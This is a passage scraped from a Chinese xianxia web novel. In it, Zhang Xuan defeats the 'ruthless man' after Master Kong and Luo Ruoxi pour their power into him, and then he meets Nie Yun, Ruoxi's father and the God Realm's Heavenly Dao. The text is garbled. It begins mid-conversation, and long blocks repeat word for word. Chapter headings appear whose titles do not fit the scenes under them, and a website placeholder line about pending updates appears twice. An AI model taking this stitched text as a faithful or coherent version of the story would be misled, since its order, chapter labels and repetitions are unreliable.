“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第92章 兵临城下,战云密布 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第93章 西营惊雷,首战扬威 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 